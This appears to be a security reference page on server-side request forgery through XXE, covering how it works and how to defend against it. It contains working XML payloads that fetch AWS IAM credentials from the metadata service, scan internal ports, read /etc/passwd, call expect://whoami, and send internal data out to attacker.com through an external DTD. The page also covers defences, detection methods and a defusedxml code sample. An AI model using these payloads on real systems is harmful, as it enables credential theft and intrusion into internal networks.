SSRF via XXE
Exploiting XXE vulnerabilities to perform Server-Side Request Forgery attacks, accessing internal networks and services.
Overview
Server-Side Request Forgery (SSRF) via XXE allows attackers to make the vulnerable server send HTTP requests to arbitrary destinations. This bypasses network security controls and enables access to:
Internal Network Access:
- Internal web services (databases, admin panels)
- Cloud metadata services (AWS, GCP, Azure)
- Internal APIs not exposed to internet
- Localhost services (Redis, Memcached, Elasticsearch)
Attack Impact:
- Access cloud instance credentials
- Port scanning internal networks
- Exploit internal services
- Bypass firewall and network segmentation
- Read internal documentation/APIs
- Access admin interfaces
Why XXE Enables SSRF: XML parsers support multiple URI schemes in SYSTEM identifiers:
- http:// and https:// - HTTP requests
- file:// - Local file access
- ftp:// - FTP connections
- gopher:// - Protocol smuggling
- jar:// - Java Archive protocol
- expect:// - Command execution (if enabled)
Basic SSRF Payload
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3 <!ENTITY xxe SYSTEM "http://internal-server.local/admin">
4]>
5<root>
6 <data>&xxe;</data>
7</root>
8
9<!-- Server makes HTTP request to http://internal-server.local/admin
10 Response may be displayed in application output -->AWS Metadata Service Attack
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3 <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
4]>
5<root>
6 <data>&xxe;</data>
7</root>
8
9<!-- Returns AWS IAM role name, then fetch credentials: -->
10<!DOCTYPE root [
11 <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]">
12]>
13<root><data>&xxe;</data></root>
14
15<!-- Returns:
16{
17 "AccessKeyId": "ASIA...",
18 "SecretAccessKey": "...",
19 "Token": "..."
20} -->Internal Port Scanning
1<!-- Scan localhost ports -->
2<?xml version="1.0" encoding="UTF-8"?>
3<!DOCTYPE root [
4 <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
5]>
6<root><data>&xxe;</data></root>
7
8<!-- Try different ports to enumerate services: -->
9<!-- http://127.0.0.1:22 - SSH -->
10<!-- http://127.0.0.1:3306 - MySQL -->
11<!-- http://127.0.0.1:6379 - Redis -->
12<!-- http://127.0.0.1:9200 - Elasticsearch -->
13<!-- http://127.0.0.1:8080 - Admin panel -->
14
15<!-- Scan internal network: -->
16<!DOCTYPE root [
17 <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
18]>
19<root><data>&xxe;</data></root>Blind SSRF Detection
1<!-- Blind SSRF when output not visible -->
2<?xml version="1.0" encoding="UTF-8"?>
3<!DOCTYPE root [
4 <!ENTITY % remote SYSTEM "http://attacker.com/callback">
5 %remote;
6]>
7<root/>
8
9<!-- Monitor attacker.com access logs for connection -->
10<!-- If connection received, SSRF is possible -->
11
12<!-- Out-of-band SSRF with data exfiltration: -->
13<!-- xxe.dtd on attacker server: -->
14<!ENTITY % internal SYSTEM "http://internal-api.local/secret">
15<!ENTITY % wrapper "<!ENTITY % send SYSTEM 'http://attacker.com/log?data=%internal;'>">
16%wrapper;
17%send;Protocol Scheme Exploitation
HTTP/HTTPS: Most common for SSRF, access internal HTTP services:
FTP: Access internal FTP servers:
- ftp://internal-ftp.local/
- ftp://192.168.1.50:21/
Gopher (Advanced): Multi-protocol exploitation, can abuse Redis, SMTP, etc:
- gopher://127.0.0.1:6379/_SET%20key%20value
- Used to send arbitrary data to TCP services
- Can exploit unprotected internal services
File (Local Access): Read local files (file disclosure):
- file:///etc/passwd
- file:///c:/windows/win.ini
Jar (Java): Java-specific, can trigger secondary SSRF:
Expect (Dangerous): If PHP expect:// wrapper enabled, RCE possible:
- expect://whoami
Common Internal Targets
Cloud Metadata Services:
AWS: http://169.254.169.254/latest/meta-data/ Google Cloud: http://metadata.google.internal/computeMetadata/v1/ Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 DigitalOcean: http://169.254.169.254/metadata/v1/
Internal Services:
http://localhost:6379 - Redis (often no auth) http://localhost:9200 - Elasticsearch http://localhost:5984 - CouchDB http://localhost:8086 - InfluxDB http://localhost:3000 - Grafana http://localhost:8080 - Jenkins/Tomcat
Network Devices:
http://192.168.1.1 - Router admin http://192.168.0.1 - Gateway http://10.0.0.1 - Internal router
Kubernetes:
https://kubernetes.default.svc/ http://127.0.0.1:10250 - Kubelet API http://127.0.0.1:10255 - Kubelet read-only
Real-World Exploitation Example
1<!-- Step 1: Discover internal services -->
2<?xml version="1.0"?>
3<!DOCTYPE root [<!ENTITY test SYSTEM "http://127.0.0.1:6379">]>
4<root>&test;</root>
5
6<!-- Response might show Redis banner -->
7
8<!-- Step 2: Access cloud metadata -->
9<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
10<root>&xxe;</root>
11
12<!-- Returns: "web-server-role" -->
13
14<!-- Step 3: Fetch IAM credentials -->
15<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role">]>
16<root>&xxe;</root>
17
18<!-- Returns full AWS credentials:
19{
20 "AccessKeyId": "ASIAXXX...",
21 "SecretAccessKey": "wJalrXXX...",
22 "Token": "IQoJb3XXX...",
23 "Expiration": "2024-01-01T12:00:00Z"
24}
25
26Attacker now has AWS credentials! -->SSRF Prevention via XXE
Primary Defense - Disable External Entities: Disable all external entity processing in XML parsers (see prevention guides)
Network-Level Controls:
-
Outbound Filtering: • Block outbound HTTP from application servers • Whitelist only required external hosts • Block private IP ranges (RFC 1918) • Block cloud metadata IPs (169.254.169.254)
-
Network Segmentation: • Isolate application servers from sensitive internal networks • Use separate VPCs/VLANs • Implement micro-segmentation
-
IMDSv2 (AWS): • Require token-based metadata service (IMDSv2) • Prevents SSRF to metadata service • aws ec2 modify-instance-metadata-options --http-tokens required
Application-Level:
-
Input Validation: • Reject DOCTYPE declarations • Reject XML containing http:// in ENTITY definitions • Validate and sanitize all XML input
-
Monitoring: • Alert on outbound connections from XML parsers • Monitor access to cloud metadata services • Log unusual internal network connections
Detection Techniques
Code Review:
- XML parsers without external entity restrictions
- Applications accepting user-supplied XML
- Missing network egress controls
- Cloud instances without IMDSv2
Dynamic Testing:
-
Basic Test: Submit XML with http:// entity pointing to attacker-controlled server Monitor for incoming connection
-
Port Scan: Try different localhost ports Observe timing differences (open vs closed ports)
-
Cloud Metadata: Target 169.254.169.254 Look for cloud instance data in response
-
Internal Service Access: Target common internal IPs/ports Check for service banners or data in response
Network Monitoring:
- Unexpected outbound HTTP from application servers
- Connections to private IP ranges
- Access to cloud metadata IPs
- Unusual DNS queries
Secure Implementation
1from defusedxml.lxml import fromstring
2import ipaddress
3import socket
4
5class SecureXMLProcessor:
6
7 # Blocked IP ranges for SSRF prevention
8 BLOCKED_RANGES = [
9 ipaddress.ip_network('127.0.0.0/8'), # Loopback
10 ipaddress.ip_network('10.0.0.0/8'), # Private
11 ipaddress.ip_network('172.16.0.0/12'), # Private
12 ipaddress.ip_network('192.168.0.0/16'), # Private
13 ipaddress.ip_network('169.254.0.0/16'), # Link-local/Metadata
14 ]
15
16 def is_blocked_ip(self, hostname):
17 try:
18 ip = ipaddress.ip_address(socket.gethostbyname(hostname))
19 for blocked in self.BLOCKED_RANGES:
20 if ip in blocked:
21 return True
22 except:
23 pass
24 return False
25
26 def parse_xml(self, xml_data):
27 # defusedxml blocks XXE by default
28 tree = fromstring(xml_data)
29
30 # Additional validation
31 if b'<!DOCTYPE' in xml_data or b'<!ENTITY' in xml_data:
32 raise ValueError("DOCTYPE/ENTITY not allowed")
33
34 return tree